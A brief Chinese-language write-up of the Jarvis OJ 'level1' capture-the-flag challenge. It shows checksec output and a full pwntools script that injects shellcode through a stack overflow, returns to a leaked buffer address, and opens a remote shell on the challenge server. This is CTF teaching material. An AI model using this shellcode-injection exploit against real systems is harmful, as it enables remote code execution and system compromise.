1. 程式人生 > >jarvis oj level1

jarvis oj level1

還是先checksec

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

發現數據部分可以執行,先看ida,同樣是vulnerable處有棧溢位漏洞,同時程式洩露了buf緩衝區的地址,因此我們考慮將shellcode寫入資料部分,然後將返回地址修改為shellcode的地址。
構造payload=shellcode+padding+地址,指令碼如下:

from pwn import *
context.log_level="debug"
p=remote("pwn2.jarvisoj.com",9877)
e=ELF("level1")
shel=asm(shellcraft.sh())
t=p.recvline()
buf_addr=t[14:-2]       #獲取buf地址
print(buf_addr)
payload=shel+'a'*(0x88+0x4-len(shel))+p32(int(buf_addr,16))
p.send(payload)
p.interactive()
p.close()

幾個收穫:
瞭解pwntools的構造shellcode方法,在nx未開啟時的pwn方法。